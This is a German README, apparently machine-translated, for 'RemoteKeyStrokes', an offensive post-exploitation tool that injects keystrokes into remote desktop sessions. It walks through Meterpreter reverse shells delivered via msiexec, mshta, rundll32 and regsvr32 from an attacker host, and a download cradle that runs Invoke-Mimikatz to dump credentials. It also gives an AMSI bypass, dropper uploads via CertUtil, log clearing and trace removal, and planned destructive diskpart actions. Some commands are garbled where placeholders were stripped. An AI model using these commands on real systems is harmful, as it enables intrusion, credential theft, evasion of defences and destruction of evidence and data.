
Ein Skript zur Automatisierung von Tastatureingaben über ein grafisches Desktop-Programm.
Ein Skript zur Automatisierung von Tastatureingaben über eine aktive Remotedesktop-Sitzung, das offensive Betreiber in Kombination mit Living-off-the-Land-Techniken unterstützt. Alle Anerkennung gebührt nopernik, der dies ermöglicht hat, sodass ich es mir zur Aufgabe gemacht habe, es zu verbessern. Ich wollte etwas, das während der Post-Exploitation-Phase bei der Ausführung von Befehlen über einen Remotedesktop hilft. Es war auch möglich, das SCPA-Projekt für die geordnete Sammlung von Ressourcen zu erstellen.
Installieren Sie die restlichen Abhängigkeiten gemäß Ihrem Paketmanager.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### Einrichtung
Installieren Sie das Programm im System und erstellen Sie `rks` als symbolischen Link von `remotekeystrokes`. Dies wird als Befehlsalias verwendet.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Verwendung
### 0x00 - Remote-Authentifizierung
#### Legenden
- Das Dollarzeichen (`$`) kennzeichnet eine Unix-Shell-Eingabeaufforderung mit normalen Benutzerrechten und enthält Befehle.
- Spitze Klammern (`<>`) bedeuten erforderliche Parameter.
- Eckige Klammern (`[]`) bedeuten optionale Parameter, falls nicht erforderlich zur Angabe.
#### RDP
Um moderne Betriebssysteme zu authentifizieren, geben Sie entweder das Flag zur Erzwingung der Authentifizierung als TLS `/sec:tls` oder als NLA `/sec:nla` an.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
Um sich bei älteren Betriebssystemen zu authentifizieren, geben Sie das Flag /sec:rdp an, um die alte Authentifizierung zu erzwingen.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
Um eine VNC-Maschine remote zu authentifizieren.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
Um remotekeystrokes (oder einen Alias-Befehl rks) bei der Ausführung von Befehlen auf dem Windows-Ziel mit einer authentifizierten Remotesitzung zu verwenden. Bevor Sie diese ausführen, müssen Sie es mit einem Fensternamen (-w) navigieren. Standardmäßig sucht es nach FreeRDP, wenn xfreerdp verwendet wird. Wenn Systeme mit einem anderen Remote-Anmeldeprogramm anvisiert werden, geben Sie unbedingt den Fensternamen an. Geben Sie das Flag -c an, um Befehle auszugeben. Sie können auch eine Textdatei vorbereiten, um Befehle einzufügen, und es wird sie nacheinander lesen. Das Flag prüft, ob es sich um eine Zeichenkette oder eine Datei handelt.
Für grafische Remote-Desktop-Programme wie FreeRDP, Remmina und andere Drittanbieterprogramme. Im Gegensatz zu Remoteterminalsitzungen wie telnet und ssh. Sie müssen den Cursor zu einer aktiven Anwendung innerhalb des Zielrechners navigieren. Zum Beispiel in einer Windows-Umgebung müssen Sie eine Eingabeaufforderung (cmd.exe) oder PowerShell (powershell.exe) öffnen. Es ist möglich, dass Windows Programme mit einem Dialogfeld (-m dialogbox) für einen schnellen Start öffnet. Stellen Sie sicher, dass Sie Spuren aus dem Registrierungseintrag entfernen, wenn Sie die Methode ursprünglich ausgeführt haben. Dieser befindet sich in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Sie werden Beispiele sehen, wie Sie schnelle offensive Maßnahmen nur mit Living off the Land (LotL)-Techniken durchführen können.
Aufzählung des lokalen Rechners.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
Um in einem einzigen Befehl auszuführen. Dies ist prägnant, besonders wenn man es mit einem Dialogfeld verwendet.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Active Directory-Enumeration.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
Um es in einem einzigen Befehl auszuführen. Dies ist prägnant, besonders wenn es mit einem Dialogfeld verwendet wird.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Lokale Rechner-Enumeration (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active Directory-Enumeration (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
Führen Sie den Payload aus, während Sie den Inhalt der PowerShell lesen.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
Führen Sie einen powershell oneliner payload mit dem Exploit-Modul `exploit/multi/script/web_delivery` von `metasploit-framework` aus.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
Führen Sie die Nutzlast mit msiexec.exe aus, während Sie einen Webserver hosten.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
Führen Sie die Payload mit `mshta.exe` unter Verwendung des `metasploit-framework` Exploit-Moduls `exploit/windows/misc/hta_server` aus.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"
$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox
Führen Sie die Nutzlast mit rundll32.exe unter Verwendung des metasploit-framework-Exploit-Moduls exploit/windows/smb/smb_delivery aus.```
$ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"
$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox
Führen Sie die Payload mit `regsvr32.exe` mithilfe des `metasploit-framework` Exploit-Moduls `exploit/multi/script/web_delivery` aus.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox
Ausführen und implantieren mit python mithilfe des metasploit-framework Exploit-Moduls exploit/multi/script/web_delivery.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "python -c """
### 0x03 - Dateiübertragung
Es gibt insgesamt 11 Dateiübertragungsmethoden.
| Methode | Plattform | Beschreibung |
| --------------- | ------------------ | ------------ |
| `pwshb64` | Windows und Linux | Kodiert die Datei in base64 und dekodiert sie mit PowerShell. |
| `cmdb64` | Windows | Verwendet `copy con`, um den Inhalt der kodierten base64-Datei auszugeben, und dekodiert sie dann mit `CertUtil.exe`. |
| `nixb64` | Unix | Dekodiert base64-Inhalt in eine Datei. |
| `outfile` | Windows und Linux | Verwendet das `Out-File`-Cmdlet, um die Textdatei auszugeben. |
| `outfileb64` | Windows | Verwendet das `Out-File`-Cmdlet, um den Inhalt der kodierten base64-Datei auszugeben, und dekodiert ihn dann mit `CertUtil.exe`. |
| `copycon` | Windows | Verwendet den Befehl `copy con`, um die Textdatei auszugeben. |
| `pwshhex` | Windows und Linux | Kodiert die Datei in hexadezimal und dekodiert sie mit PowerShell. |
| `cmdhex` | Windows | Gibt einen hex-kodierten Einzeiler in einer Variable aus und dekodiert ihn dann mit `CertUtil.exe`. |
| `copyconhex` | Windows | Verwendet `copy con`, um den Inhalt der kodierten Hexdump-Datei auszugeben, und dekodiert ihn dann mit `CertUtil.exe`. |
| `nixhex` | Unix | Gibt einen hex-kodierten Einzeiler in einer Variable aus und dekodiert ihn mit `echo -e`, um das `\x`-Sequenzzeichen zu interpretieren. Dies ist geeignet, wenn mit IoT-Geräten gearbeitet wird, insbesondere wenn Telnet keine Dateiübertragung unterstützt. |
| `outfilehex` | Windows | Verwendet das `Out-File`-Cmdlet, um den Inhalt der kodierten Hexdump-Datei auszugeben, und dekodiert ihn dann mit `CertUtil.exe`. |
Laden Sie eine Datei remote hoch, wenn Sie in einem isolierten Netzwerk pivotieren. Wenn Sie den entfernten Pfad unter Windows angeben möchten, stellen Sie sicher, dass Sie Anführungszeichen setzen. Standardmäßig wird PowerShell Base64 zur Übertragung von Dateien verwendet, sofern nicht anders angegeben. Dies schließt auch Dropper ein, selbst wenn die Datei groß ist. Beachten Sie, dass die Dateiübertragung Zeit in Anspruch nehmen wird.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!
Um Dropper zu übertragen, können Sie CertUtil.exe base64 verwenden, insbesondere wenn sie groß sind.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe
Um Dropper mit PowerShell über `CertUtil.exe` base64 zu übertragen.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m outfileb64
Es ist auch möglich, dass ältere Betriebssysteme Dateien übertragen können, wie z.B. Windows XP, dem PowerShell fehlt, mit Ausnahme der Eingabeaufforderung.``` $ rks -c "cmd.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m cmdb64
Aktivieren Sie Ihren C2-Listener und führen Sie den Payload aus.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"
$ rks -c ".\payload.exe"
Eine weitere Möglichkeit, Dateien zu übertragen, insbesondere für Systemadministratoren und offensive Tools. Nehmen wir PsExec64.exe als Beispiel, das uns für laterale Bewegungen benötigt. Es würde lange dauern, es per Text ohne Unterbrechung hochzuladen. Stattdessen ist der schnellste Weg, das WebDAV zu mounten, das zur legitimen Website der Sysinternals-Suite (live.sysinternals.com) gehört. Anstatt den Datei-Explorer zu verwenden, der viel langsamer ist als die Ausführung von Befehlen. Hier sind die Befehle für die Eingabeaufforderung.```
$ cat commands.txt
net use z: \live.sysinternals.com\tools
copy z:\PsExec64.exe .
net use z: /delete
$ rks -c "cmd.exe" -m dialogbox
$ rks -c commands.txt
Hier ist eine weitere Variante für powershell cmdlets beim Übertragen von `PsExec64.exe` in Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z
$ rks -c "powershell.exe" -m dialogbox
$ rks -c cmdlets.txt
Der beste Weg, um dateilose Malware oder offensive Tools über PowerShell abzurufen, ist einfach legitime Websites wie https://github.com zu hosten/abzurufen und auszuführen. Lassen Sie uns Invoke-Mimikatz verwenden, um Anmeldeinformationen abzurufen, indem wir den Cradle von nishang herunterladen und ausführen.```
$ cat hashdump.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
$ rks -c "powershell.exe" -m dialogbox
$ rks -c hashdump.txt
Wenn Sie große Dateien haben, bei denen es nahezu unmöglich ist, auf den Abschluss der Dateiübertragung zu warten. Mit `xfreerdp` kann ein lokales Verzeichnis mit der Option `/drive:/path/to/directory/` gemountet werden. Navigieren Sie dann im Datei-Explorer oder in der Shell-Eingabeaufforderung zu `\\tsclient\<share_name>\`, um den Inhalt anzuzeigen.```
$ mkdir Tools
$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "dir \\tsclient\<share_name>\"
Hinweis: WIP (Work In Progress)``` $ rks -m elevate -s bypassuac -a info
$ rks -m elevate -s <sub_method>
### 0x05 - Persistenz
Hinweis: WIP (In Arbeit)```
$ rks -m persistence -s createuser
$ rks -m persistence -s sethc
Hinweis: WIP (In Arbeit)
Sie können AMSI Bypass mit dem Powershell-Implant kombinieren, um Windows Security oder jede andere Sicherheitslösung zu umgehen, die in den AMSI-Scanner integriert ist.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
EINGABE:```
$ rks -m antiforensics -s wevutils
$ rks -m antiforensics -s winevent
$ rks -m antiforensics -s eventvwr
Hinweis: WIP (In Arbeit)``` $ rks -m mayhem -s diskpart -a info
$ rks -m mayhem -s diskpart -a cmd
$ rks -m mayhem -s diskpart -a pwsh
### 0x08 - Fensternamen angeben.
Wenn Sie auf VNC, Telnet oder andere Netzwerkprotokolle abzielen, können Sie den Fensternamen angeben. Dies ist nützlich, wenn Sie `remmina` oder eine andere Terminalinstanz mit einem umbenannten Fenster verwenden.```
$ rks -c implant.ps1 -w <window_name>
Es ist quälend langsam, wenn ich manuell mit meiner Tastatur tippe oder mit der Maus navigiere und klicke, besonders außerhalb des lokalen Netzwerks. Ich möchte den Prozess einfach beschleunigen, insbesondere beim Eindringen in das Netzwerk.
Nicht unbedingt. Ich habe es auch für Remote-Konsolen wie Telnet ermöglicht, da diese keine Funktion zum Übertragen von Dateien haben.
Die Techniken sind alltäglich und können für BadUSB, Malware-Entwicklung oder andere damit zusammenhängende Projekte wiederverwendet werden. Sie stehen unter der Copyleft-Lizenz der GNU GPLv3, die Ihnen als Benutzer das Recht einräumt, die Funktionsweise des Programms einzusehen, den Quellcode nach Ihren Anforderungen zu ändern und ihn zusammen mit dem Quellcode an andere Benutzer weiterzugeben.
wayland-Anzeigeserver verfügbar?Derzeit gibt es keine kompatiblen Wayland-Tools, die eine Alternative oder einen Ersatz für xdotool bieten. dotool ist vielversprechend, aber es fehlt eine spezifische Funktion zum Fokussieren von Fenstern. kdotool ist nur für KDE-Desktop-Umgebungen verfügbar. Ich muss es möglicherweise in Go (da dotool existiert) oder Python mit der Bibliothek pynput neu erfinden.
Wenn Sie das Programm zum ersten Mal ausführen, sollten einige selbsterklärende Meldungen angezeigt werden. Wechseln Sie zum x11-Fensterserver. Informationen dazu, warum wayland nicht unterstützt wird, finden Sie in den FAQ.```
$ rks -c "powershell.exe" -m searchbox
[ERROR] Wayland isn't supported!
[*] Terminating program...
### Offensive Tool deinstallieren
Um es zu deinstallieren.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks
Implementierung der Verschlüsselungsmethode AES256 via Base64
Implementierung der restlichen Upload-Methoden: Base32, Base2, Base10, Base8
Implementierung der Privesc-Funktion für Windows und Linux
Implementierung einer Persistenzfunktion für Windows und Linux.
Implementierung einer Anti-Forensik-Funktion für Windows und Linux.
Implementierung einer Mayhem-Funktion für Windows und Linux.
Es liegt in Ihrer Verantwortung, je nachdem, was die Ursache Ihrer Handlungen ist. Denken Sie daran: Mit großer Macht kommt große Verantwortung.